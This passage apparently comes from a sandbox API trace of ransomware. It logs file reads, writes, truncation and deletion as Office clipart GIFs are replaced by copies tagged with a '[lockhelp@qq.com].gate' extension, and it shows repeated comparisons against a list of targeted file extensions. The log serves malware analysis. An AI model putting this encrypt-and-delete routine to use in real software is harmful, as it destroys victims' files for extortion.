dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0278.943] GetLastError () returned 0x0 [0278.943] ReadFile (in: hFile=0x404, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x30c2, lpOverlapped=0x0) returned 1 [0279.083] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x30d0, lpOverlapped=0x0) returned 1 [0279.170] ReadFile (in: hFile=0x404, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0279.170] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0279.170] SetEndOfFile (hFile=0x394) returned 1 [0279.211] CloseHandle (hObject=0x394) returned 1 [0279.212] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.212] SetEndOfFile (hFile=0x404) returned 1 [0279.214] CloseHandle (hObject=0x404) returned 1 [0279.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0279.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.215] lstrlenW (lpString=".doc") returned 4 [0279.215] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.215] lstrlenW (lpString=".docx") returned 5 [0279.215] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.216] lstrlenW (lpString=".pdf") returned 4 [0279.216] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.216] lstrlenW (lpString=".xls") returned 4 [0279.216] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.216] lstrlenW (lpString=".xlsx") returned 5 [0279.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.216] lstrlenW (lpString=".ppt") returned 4 [0279.216] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.216] lstrlenW (lpString=".zip") returned 4 [0279.216] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.216] lstrlenW (lpString=".rar") returned 4 [0279.216] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.216] lstrlenW (lpString=".bz2") returned 4 [0279.216] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.216] lstrlenW (lpString=".7z") returned 3 [0279.216] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.216] lstrlenW (lpString=".dbf") returned 4 [0279.216] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.216] lstrlenW (lpString=".1cd") returned 4 [0279.216] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.216] lstrlenW (lpString=".jpg") returned 4 [0279.216] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.217] lstrlenW (lpString=".doc") returned 4 [0279.217] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.217] lstrlenW (lpString=".docx") returned 5 [0279.217] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.217] lstrlenW (lpString=".pdf") returned 4 [0279.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.217] lstrlenW (lpString=".xls") returned 4 [0279.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.217] lstrlenW (lpString=".xlsx") returned 5 [0279.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.217] lstrlenW (lpString=".ppt") returned 4 [0279.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.217] lstrlenW (lpString=".zip") returned 4 [0279.217] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.217] lstrlenW (lpString=".rar") returned 4 [0279.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.217] lstrlenW (lpString=".bz2") returned 4 [0279.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.217] lstrlenW (lpString=".7z") returned 3 [0279.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.217] lstrlenW (lpString=".dbf") returned 4 [0279.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.217] lstrlenW (lpString=".1cd") returned 4 [0279.217] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0279.217] lstrlenW (lpString=".jpg") returned 4 [0279.217] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.218] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.218] lstrlenW (lpString="AG00142_.GIF") returned 12 [0279.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.219] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=15308) returned 1 [0279.219] CloseHandle (hObject=0x404) returned 1 [0279.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0279.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.219] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.219] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0279.220] GetLastError () returned 0x0 [0279.220] ReadFile (in: hFile=0x404, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0279.402] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0279.403] ReadFile (in: hFile=0x404, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0279.404] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0279.404] SetEndOfFile (hFile=0x394) returned 1 [0279.551] CloseHandle (hObject=0x394) returned 1 [0279.552] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.552] SetEndOfFile (hFile=0x404) returned 1 [0279.554] CloseHandle (hObject=0x404) returned 1 [0279.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0279.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.555] lstrlenW (lpString=".doc") returned 4 [0279.555] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.555] lstrlenW (lpString=".docx") returned 5 [0279.555] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.555] lstrlenW (lpString=".pdf") returned 4 [0279.555] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.555] lstrlenW (lpString=".xls") returned 4 [0279.555] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.555] lstrlenW (lpString=".xlsx") returned 5 [0279.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.555] lstrlenW (lpString=".ppt") returned 4 [0279.555] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString=".zip") returned 4 [0279.556] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.556] lstrlenW (lpString=".rar") returned 4 [0279.556] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.556] lstrlenW (lpString=".bz2") returned 4 [0279.556] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.556] lstrlenW (lpString=".7z") returned 3 [0279.556] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString=".dbf") returned 4 [0279.556] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString=".1cd") returned 4 [0279.556] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString=".jpg") returned 4 [0279.556] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString=".doc") returned 4 [0279.556] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.556] lstrlenW (lpString=".docx") returned 5 [0279.556] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.556] lstrlenW (lpString=".pdf") returned 4 [0279.556] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.556] lstrlenW (lpString=".xls") returned 4 [0279.556] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.556] lstrlenW (lpString=".xlsx") returned 5 [0279.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.556] lstrlenW (lpString=".ppt") returned 4 [0279.556] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.556] lstrlenW (lpString=".zip") returned 4 [0279.556] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.557] lstrlenW (lpString=".rar") returned 4 [0279.557] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.557] lstrlenW (lpString=".bz2") returned 4 [0279.557] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.557] lstrlenW (lpString=".7z") returned 3 [0279.557] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.557] lstrlenW (lpString=".dbf") returned 4 [0279.557] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.557] lstrlenW (lpString=".1cd") returned 4 [0279.557] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0279.557] lstrlenW (lpString=".jpg") returned 4 [0279.557] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.557] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.557] lstrlenW (lpString="AG00161_.GIF") returned 12 [0279.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.558] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=7583) returned 1 [0279.558] CloseHandle (hObject=0x404) returned 1 [0279.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0279.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.559] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.559] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0279.559] GetLastError () returned 0x0 [0279.559] ReadFile (in: hFile=0x404, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0279.699] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1da0, lpOverlapped=0x0) returned 1 [0279.700] ReadFile (in: hFile=0x404, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0279.700] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0279.700] SetEndOfFile (hFile=0x394) returned 1 [0279.700] CloseHandle (hObject=0x394) returned 1 [0279.700] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.700] SetEndOfFile (hFile=0x404) returned 1 [0279.707] CloseHandle (hObject=0x404) returned 1 [0279.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0279.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.708] lstrlenW (lpString=".doc") returned 4 [0279.708] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.708] lstrlenW (lpString=".docx") returned 5 [0279.708] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.708] lstrlenW (lpString=".pdf") returned 4 [0279.708] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.708] lstrlenW (lpString=".xls") returned 4 [0279.708] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.708] lstrlenW (lpString=".xlsx") returned 5 [0279.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.708] lstrlenW (lpString=".ppt") returned 4 [0279.708] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.708] lstrlenW (lpString=".zip") returned 4 [0279.708] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.708] lstrlenW (lpString=".rar") returned 4 [0279.708] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.708] lstrlenW (lpString=".bz2") returned 4 [0279.708] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.708] lstrlenW (lpString=".7z") returned 3 [0279.708] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.708] lstrlenW (lpString=".dbf") returned 4 [0279.708] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.708] lstrlenW (lpString=".1cd") returned 4 [0279.708] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString=".jpg") returned 4 [0279.709] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString=".doc") returned 4 [0279.709] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.709] lstrlenW (lpString=".docx") returned 5 [0279.709] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.709] lstrlenW (lpString=".pdf") returned 4 [0279.709] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.709] lstrlenW (lpString=".xls") returned 4 [0279.709] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.709] lstrlenW (lpString=".xlsx") returned 5 [0279.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.709] lstrlenW (lpString=".ppt") returned 4 [0279.709] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString=".zip") returned 4 [0279.709] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.709] lstrlenW (lpString=".rar") returned 4 [0279.709] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.709] lstrlenW (lpString=".bz2") returned 4 [0279.709] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.709] lstrlenW (lpString=".7z") returned 3 [0279.709] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString=".dbf") returned 4 [0279.709] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString=".1cd") returned 4 [0279.709] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0279.709] lstrlenW (lpString=".jpg") returned 4 [0279.710] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.710] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.710] lstrlenW (lpString="AG00167_.GIF") returned 12 [0279.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.876] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4894) returned 1 [0279.876] CloseHandle (hObject=0x418) returned 1 [0279.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0279.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.876] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.876] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0279.877] GetLastError () returned 0x0 [0279.877] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x131e, lpOverlapped=0x0) returned 1 [0279.988] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fae020*, 